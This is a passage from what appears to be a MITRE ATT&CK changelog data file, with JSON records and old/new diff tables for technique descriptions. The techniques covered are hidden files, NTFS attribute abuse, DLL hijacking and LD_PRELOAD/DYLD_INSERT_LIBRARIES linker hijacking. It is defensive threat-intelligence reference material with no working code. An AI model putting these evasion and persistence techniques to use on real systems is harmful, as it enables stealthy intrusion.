| > | istrators may be able to enable email rules that operate org | > | strators may be able to enable email rules that operate orga | ||
| > | anization-wide rather than on individual inboxes. For exampl | > | nization-wide rather than on individual inboxes. For example | ||
| > | e, Microsoft Exchange supports transport rules that evaluate | > | , Microsoft Exchange supports transport rules that evaluate | ||
| > | all mail an organization receives against user-specified co | > | all mail an organization receives against user-specified con | ||
| > | nditions, then performs a user-specified action on mail that | > | ditions, then performs a user-specified action on mail that | ||
| > | adheres to those conditions.(Citation: Microsoft Mail Flow | > | adheres to those conditions.(Citation: Microsoft Mail Flow R | ||
| > | Rules 2023) Adversaries that abuse such features may be able | > | ules 2023) Adversaries that abuse such features may be able | ||
| > | to automatically modify or delete all emails related to spe | > | to automatically modify or delete all emails related to spec | ||
| > | cific topics (such as internal security incident notificatio | > | ific topics (such as internal security incident notification | ||
| > | ns). | > | s). |
dir /a for Windows and ls \u2013a for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name.(Citation: Sofacy Komplex Trojan)(Citation: Antiquated Mac Malware) Files and folders that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app.(Citation: WireLurker) On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.\n\nAdditionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a \u201cspace\u201d character.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564/001",
"external_id": "T1564.001"
},
{
"source_name": "WireLurker",
"description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
"url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf"
},
{
"source_name": "Sofacy Komplex Trojan",
"description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
"url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
},
{
"source_name": "Antiquated Mac Malware",
"description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
"url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Gr@ve_Rose (tcpdump101.com on bsky)"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:01:51.368000+00:00\", \"old_value\": \"2026-05-12 15:12:00.723000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \\u2018hidden\\u2019 file. These files don\\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \\u2013a for Linux and macOS).\\n\\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \\u201c.\\u201d as the first character in the file or folder name.(Citation: Sofacy Komplex Trojan)(Citation: Antiquated Mac Malware) Files and folders that start with a period, \\u2018.\\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \\u201cls\\u201d. Users must specifically change settings to have these files viewable.\\n\\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app.(Citation: WireLurker) On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\\u2019t clutter up the user\\u2019s workspace. For example, SSH utilities create a .ssh folder that\\u2019s hidden and contains the user\\u2019s known hosts and keys.\\n\\nAdditionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a \\u201cspace\\u201d character.\\n\\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.\", \"old_value\": \"Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \\u2018hidden\\u2019 file. These files don\\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \\u2013a for Linux and macOS).\\n\\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \\u201c.\\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \\u2018.\\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \\u201cls\\u201d. Users must specifically change settings to have these files viewable.\\n\\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\\u2019t clutter up the user\\u2019s workspace. For example, SSH utilities create a .ssh folder that\\u2019s hidden and contains the user\\u2019s known hosts and keys.\\n\\nAdditionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a \\u201cspace\\u201d character.\\n\\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.\", \"diff\": \"--- \\n+++ \\n@@ -1,8 +1,8 @@\\n Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \\u2018hidden\\u2019 file. These files don\\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \\u2013a for Linux and macOS).\\n \\n-On Linux and Mac, users can mark specific files as hidden simply by putting a \\u201c.\\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \\u2018.\\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \\u201cls\\u201d. Users must specifically change settings to have these files viewable.\\n+On Linux and Mac, users can mark specific files as hidden simply by putting a \\u201c.\\u201d as the first character in the file or folder name.(Citation: Sofacy Komplex Trojan)(Citation: Antiquated Mac Malware) Files and folders that start with a period, \\u2018.\\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \\u201cls\\u201d. Users must specifically change settings to have these files viewable.\\n \\n-Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\\u2019t clutter up the user\\u2019s workspace. For example, SSH utilities create a .ssh folder that\\u2019s hidden and contains the user\\u2019s known hosts and keys.\\n+Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app.(Citation: WireLurker) On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\\u2019t clutter up the user\\u2019s workspace. For example, SSH utilities create a .ssh folder that\\u2019s hidden and contains the user\\u2019s known hosts and keys.\\n \\n Additionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a \\u201cspace\\u201d character.\\n \"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may set files and directories to be hidden to ev | t | 1 | Adversaries may set files and directories to be hidden to ev |
| > | ade detection mechanisms. To prevent normal users from accid | > | ade detection mechanisms. To prevent normal users from accid | ||
| > | entally changing special files on a system, most operating s | > | entally changing special files on a system, most operating s | ||
| > | ystems have the concept of a \u2018hidden\u2019 file. These files don\u2019 | > | ystems have the concept of a \u2018hidden\u2019 file. These files don\u2019 | ||
| > | t show up when a user browses the file system with a GUI or | > | t show up when a user browses the file system with a GUI or | ||
| > | when using normal commands on the command line. Users must e | > | when using normal commands on the command line. Users must e | ||
| > | xplicitly ask to show the hidden files either via a series o | > | xplicitly ask to show the hidden files either via a series o | ||
| > | f Graphical User Interface (GUI) prompts or with command lin | > | f Graphical User Interface (GUI) prompts or with command lin | ||
| > | e switches (<code>dir /a</code> for Windows and <code>ls \u2013a< | > | e switches (<code>dir /a</code> for Windows and <code>ls \u2013a< | ||
| > | /code> for Linux and macOS). On Linux and Mac, users can ma | > | /code> for Linux and macOS). On Linux and Mac, users can ma | ||
| > | rk specific files as hidden simply by putting a \u201c.\u201d as the f | > | rk specific files as hidden simply by putting a \u201c.\u201d as the f | ||
| > | irst character in the file or folder name (Citation: Sofacy | > | irst character in the file or folder name.(Citation: Sofacy | ||
| > | Komplex Trojan) (Citation: Antiquated Mac Malware). Files a | > | Komplex Trojan)(Citation: Antiquated Mac Malware) Files and | ||
| > | nd folders that start with a period, \u2018.\u2019, are by default hid | > | folders that start with a period, \u2018.\u2019, are by default hidden | ||
| > | den from being viewed in the Finder application and standard | > | from being viewed in the Finder application and standard co | ||
| > | command-line utilities like \u201cls\u201d. Users must specifically c | > | mmand-line utilities like \u201cls\u201d. Users must specifically chan | ||
| > | hange settings to have these files viewable. Files on macOS | > | ge settings to have these files viewable. Files on macOS ca | ||
| > | can also be marked with the UF_HIDDEN flag which prevents t | > | n also be marked with the UF_HIDDEN flag which prevents them | ||
| > | hem from being seen in Finder.app, but still allows them to | > | from being seen in Finder.app, but still allows them to be | ||
| > | be seen in Terminal.app (Citation: WireLurker). On Windows, | > | seen in Terminal.app.(Citation: WireLurker) On Windows, user | ||
| > | users can mark specific files as hidden by using the attrib. | > | s can mark specific files as hidden by using the attrib.exe | ||
| > | exe binary. Many applications create these hidden files and | > | binary. Many applications create these hidden files and fold | ||
| > | folders to store information so that it doesn\u2019t clutter up t | > | ers to store information so that it doesn\u2019t clutter up the u | ||
| > | he user\u2019s workspace. For example, SSH utilities create a .ss | > | ser\u2019s workspace. For example, SSH utilities create a .ssh fo | ||
| > | h folder that\u2019s hidden and contains the user\u2019s known hosts a | > | lder that\u2019s hidden and contains the user\u2019s known hosts and k | ||
| > | nd keys. Additionally, adversaries may name files in a mann | > | eys. Additionally, adversaries may name files in a manner t | ||
| > | er that would allow the file to be hidden such as naming a f | > | hat would allow the file to be hidden such as naming a file | ||
| > | ile only a \u201cspace\u201d character. Adversaries can use this to t | > | only a \u201cspace\u201d character. Adversaries can use this to their | ||
| > | heir advantage to hide files and folders anywhere on the sys | > | advantage to hide files and folders anywhere on the system | ||
| > | tem and evading a typical user or system analysis that does | > | and evading a typical user or system analysis that does not | ||
| > | not incorporate investigation of hidden files. | > | incorporate investigation of hidden files. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use NTFS file attributes to hide their malic | t | 1 | Adversaries may use NTFS file attributes to hide their malic |
| > | ious data in order to evade detection. Every New Technology | > | ious data in order to evade detection. Every New Technology | ||
| > | File System (NTFS) formatted partition contains a Master Fil | > | File System (NTFS) formatted partition contains a Master Fil | ||
| > | e Table (MFT) that maintains a record for every file/directo | > | e Table (MFT) that maintains a record for every file/directo | ||
| > | ry on the partition. (Citation: SpectorOps Host-Based Jul 20 | > | ry on the partition.(Citation: SpectorOps Host-Based Jul 201 | ||
| > | 17) Within MFT entries are file attributes, (Citation: Micro | > | 7) Within MFT entries are file attributes,(Citation: Microso | ||
| > | soft NTFS File Attributes Aug 2010) such as Extended Attribu | > | ft NTFS File Attributes Aug 2010) such as Extended Attribute | ||
| > | tes (EA) and Data [known as Alternate Data Streams (ADSs) wh | > | s (EA) and Data [known as Alternate Data Streams (ADSs) when | ||
| > | en more than one Data attribute is present], that can be use | > | more than one Data attribute is present], that can be used | ||
| > | d to store arbitrary data (and even complete files). (Citati | > | to store arbitrary data (and even complete files).(Citation: | ||
| > | on: SpectorOps Host-Based Jul 2017) (Citation: Microsoft Fil | > | SpectorOps Host-Based Jul 2017)(Citation: Microsoft File St | ||
| > | e Streams) (Citation: MalwareBytes ADS July 2015) (Citation: | > | reams)(Citation: MalwareBytes ADS July 2015)(Citation: Micro | ||
| > | Microsoft ADS Mar 2014) Adversaries may store malicious da | > | soft ADS Mar 2014) Adversaries may store malicious data or | ||
| > | ta or binaries in file attribute metadata instead of directl | > | binaries in file attribute metadata instead of directly in f | ||
| > | y in files. This may be done to evade some defenses, such as | > | iles. This may be done to evade some defenses, such as stati | ||
| > | static indicator scanning tools and anti-virus. (Citation: | > | c indicator scanning tools and anti-virus.(Citation: Journey | ||
| > | Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes | > | into IR ZeroAccess NTFS EA)(Citation: MalwareBytes ADS July | ||
| > | ADS July 2015) | > | 2015) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse dynamic-link library files (DLLs) in o | t | 1 | Adversaries may abuse dynamic-link library files (DLLs) in o |
| > | rder to achieve persistence, escalate privileges, and evade | > | rder to achieve persistence, escalate privileges, and evade | ||
| > | defenses. DLLs are libraries that contain code and data that | > | defenses. DLLs are libraries that contain code and data that | ||
| > | can be simultaneously utilized by multiple programs. While | > | can be simultaneously utilized by multiple programs. While | ||
| > | DLLs are not malicious by nature, they can be abused through | > | DLLs are not malicious by nature, they can be abused through | ||
| > | mechanisms such as side-loading, hijacking search order, an | > | mechanisms such as side-loading, hijacking search order, an | ||
| > | d phantom DLL hijacking.(Citation: unit 42) Specific ways D | > | d phantom DLL hijacking.(Citation: unit 42) Specific ways D | ||
| > | LLs are abused by adversaries include: ### DLL Sideloading | > | LLs are abused by adversaries include: ### DLL Sideloading | ||
| > | Adversaries may execute their own malicious payloads by side | > | Adversaries may execute their own malicious payloads by side | ||
| > | -loading DLLs. Side-loading involves hijacking which DLL a p | > | -loading DLLs. Side-loading involves hijacking which DLL a p | ||
| > | rogram loads by planting and then invoking a legitimate appl | > | rogram loads by planting and then invoking a legitimate appl | ||
| > | ication that executes their payload(s). Side-loading positi | > | ication that executes their payload(s). Side-loading positi | ||
| > | ons both the victim application and malicious payload(s) alo | > | ons both the victim application and malicious payload(s) alo | ||
| > | ngside each other. Adversaries likely use side-loading as a | > | ngside each other. Adversaries likely use side-loading as a | ||
| > | means of masking actions they perform under a legitimate, tr | > | means of masking actions they perform under a legitimate, tr | ||
| > | usted, and potentially elevated system or software process. | > | usted, and potentially elevated system or software process. | ||
| > | Benign executables used to side-load payloads may not be fla | > | Benign executables used to side-load payloads may not be fla | ||
| > | gged during delivery and/or execution. Adversary payloads ma | > | gged during delivery and/or execution. Adversary payloads ma | ||
| > | y also be encrypted/packed or otherwise obfuscated until loa | > | y also be encrypted/packed or otherwise obfuscated until loa | ||
| > | ded into the memory of the trusted process. Adversaries may | > | ded into the memory of the trusted process. Adversaries may | ||
| > | also side-load other packages, such as BPLs (Borland Packag | > | also side-load other packages, such as BPLs (Borland Packag | ||
| > | e Library).(Citation: kroll bpl) Adversaries may chain DLL | > | e Library).(Citation: kroll bpl) Adversaries may chain DLL | ||
| > | sideloading multiple times to fragment functionality hinderi | > | sideloading multiple times to fragment functionality hinderi | ||
| > | ng analysis. Adversaries using multiple DLL files can split | > | ng analysis. Adversaries using multiple DLL files can split | ||
| > | the loader functions across different DLLs, with a main DLL | > | the loader functions across different DLLs, with a main DLL | ||
| > | loading the separated export functions. (Citation: Virus Bul | > | loading the separated export functions.(Citation: Virus Bull | ||
| > | letin) Spreading loader functions across multiple DLLs makes | > | etin) Spreading loader functions across multiple DLLs makes | ||
| > | analysis harder, since all files must be collected to fully | > | analysis harder, since all files must be collected to fully | ||
| > | understand the malware\u2019s behavior. Another method implemen | > | understand the malware\u2019s behavior. Another method implement | ||
| > | ts a \u201cloader-for-a-loader\u201d, where a malicious DLL\u2019s sole rol | > | s a \u201cloader-for-a-loader\u201d, where a malicious DLL\u2019s sole role | ||
| > | e is to load a second DLL (or a chain of DLLs) that contain | > | is to load a second DLL (or a chain of DLLs) that contain t | ||
| > | the real payload. (Citation: Sophos) ### DLL Search Order H | > | he real payload.(Citation: Sophos) ### DLL Search Order Hij | ||
| > | ijacking Adversaries may execute their own malicious payload | > | acking Adversaries may execute their own malicious payloads | ||
| > | s by hijacking the search order that Windows uses to load DL | > | by hijacking the search order that Windows uses to load DLLs | ||
| > | Ls. This search order is a sequence of special and standard | > | . This search order is a sequence of special and standard se | ||
| > | search locations that a program checks when loading a DLL. A | > | arch locations that a program checks when loading a DLL. An | ||
| > | n adversary can plant a trojan DLL in a directory that will | > | adversary can plant a trojan DLL in a directory that will be | ||
| > | be prioritized by the DLL search order over the location of | > | prioritized by the DLL search order over the location of a | ||
| > | a legitimate library. This will cause Windows to load the ma | > | legitimate library. This will cause Windows to load the mali | ||
| > | licious DLL when it is called for by the victim program.(Cit | > | cious DLL when it is called for by the victim program.(Citat | ||
| > | ation: unit 42) ### DLL Redirection Adversaries may directl | > | ion: unit 42) ### DLL Redirection Adversaries may directly | ||
| > | y modify the search order via DLL redirection, which after b | > | modify the search order via DLL redirection, which after bei | ||
| > | eing enabled (in the Registry or via the creation of a redir | > | ng enabled (in the Registry or via the creation of a redirec | ||
| > | ection file) may cause a program to load a DLL from a differ | > | tion file) may cause a program to load a DLL from a differen | ||
| > | ent location.(Citation: Microsoft redirection)(Citation: Mic | > | t location.(Citation: Microsoft redirection)(Citation: Micro | ||
| > | rosoft - manifests/assembly) ### Phantom DLL Hijacking Adve | > | soft - manifests/assembly) ### Phantom DLL Hijacking Advers | ||
| > | rsaries may leverage phantom DLL hijacking by targeting refe | > | aries may leverage phantom DLL hijacking by targeting refere | ||
| > | rences to non-existent DLL files. They may be able to load t | > | nces to non-existent DLL files. They may be able to load the | ||
| > | heir own malicious DLL by planting it with the correct name | > | ir own malicious DLL by planting it with the correct name in | ||
| > | in the location of the missing module.(Citation: Hexacorn DL | > | the location of the missing module.(Citation: Hexacorn DLL | ||
| > | L Hijacking)(Citation: Hijack DLLs CrowdStrike) ### DLL Sub | > | Hijacking)(Citation: Hijack DLLs CrowdStrike) ### DLL Subst | ||
| > | stitution Adversaries may target existing, valid DLL files a | > | itution Adversaries may target existing, valid DLL files and | ||
| > | nd substitute them with their own malicious DLLs, planting t | > | substitute them with their own malicious DLLs, planting the | ||
| > | hem with the same name and in the same location as the valid | > | m with the same name and in the same location as the valid D | ||
| > | DLL file.(Citation: Wietze Beukema DLL Hijacking) Programs | > | LL file.(Citation: Wietze Beukema DLL Hijacking) Programs t | ||
| > | that fall victim to DLL hijacking may appear to behave norm | > | hat fall victim to DLL hijacking may appear to behave normal | ||
| > | ally because malicious DLLs may be configured to also load t | > | ly because malicious DLLs may be configured to also load the | ||
| > | he legitimate DLLs they were meant to replace, evading defen | > | legitimate DLLs they were meant to replace, evading defense | ||
| > | ses. Remote DLL hijacking can occur when a program sets its | > | s. Remote DLL hijacking can occur when a program sets its c | ||
| > | current directory to a remote location, such as a Web share | > | urrent directory to a remote location, such as a Web share, | ||
| > | , before loading a DLL.(Citation: dll pre load owasp)(Citati | > | before loading a DLL.(Citation: dll pre load owasp)(Citation | ||
| > | on: microsoft remote preloading) If a valid DLL is configur | > | : microsoft remote preloading) If a valid DLL is configured | ||
| > | ed to run at a higher privilege level, then the adversary-co | > | to run at a higher privilege level, then the adversary-cont | ||
| > | ntrolled DLL that is loaded will also be executed at the hig | > | rolled DLL that is loaded will also be executed at the highe | ||
| > | her level. In this case, the technique could be used for pri | > | r level. In this case, the technique could be used for privi | ||
| > | vilege escalation. | > | lege escalation. |
LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.(Citation: Baeldung LD_PRELOAD)\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library\u2019s `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to [Hide Artifacts](https://attack.mitre.org/techniques/T1564) from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.(Citation: ESET Ebury Oct 2017)(Citation: Intezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit 2024)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1574/006",
"external_id": "T1574.006"
},
{
"source_name": "Apple Doco Archive Dynamic Libraries",
"description": "Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021.",
"url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html"
},
{
"source_name": "Baeldung LD_PRELOAD",
"description": "baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021.",
"url": "https://www.baeldung.com/linux/ld_preload-trick-what-is"
},
{
"source_name": "TheEvilBit DYLD_INSERT_LIBRARIES",
"description": "Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020.",
"url": "https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/"
},
{
"source_name": "Intezer Symbiote 2022",
"description": "Joakim Kennedy and The BlackBerry Threat Research & Intelligence Team. (2022, June 9). Symbiote Deep-Dive: Analysis of a New, Nearly-Impossible-to-Detect Linux Threat. Retrieved March 24, 2025.",
"url": "https://intezer.com/blog/research/new-linux-threat-symbiote/"
},
{
"source_name": "Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass",
"description": "Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021.",
"url": "https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191"
},
{
"source_name": "Man LD.SO",
"description": "Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020.",
"url": "https://www.man7.org/linux/man-pages/man8/ld.so.8.html"
},
{
"source_name": "Elastic Security Labs Pumakit 2024",
"description": "Remco Sprooten and Ruben Groenewoud. (2024, December 11). Declawing PUMAKIT. Retrieved March 24, 2025.",
"url": "https://www.elastic.co/security-labs/declawing-pumakit"
},
{
"source_name": "TLDP Shared Libraries",
"description": "The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020.",
"url": "https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html"
},
{
"source_name": "Timac DYLD_INSERT_LIBRARIES",
"description": "Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020.",
"url": "https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/"
},
{
"source_name": "ESET Ebury Oct 2017",
"description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021.",
"url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS"
],
"x_mitre_remote_support": false,
"x_mitre_version": "3.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:28:07.108000+00:00\", \"old_value\": \"2026-05-12 15:12:00.636000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.(Citation: Baeldung LD_PRELOAD)\\n\\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library\\u2019s `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to [Hide Artifacts](https://attack.mitre.org/techniques/T1564) from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.(Citation: ESET Ebury Oct 2017)(Citation: Intezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit 2024)\", \"old_value\": \"Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.(Citation: Baeldung LD_PRELOAD)\\n\\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library\\u2019s `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to [Hide Artifacts](https://attack.mitre.org/techniques/T1564) from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.(Citation: ESET Ebury Oct 2017)(Citation: Intezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit 2024)\\n\\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,3 @@\\n Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.(Citation: Baeldung LD_PRELOAD)\\n \\n Hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set 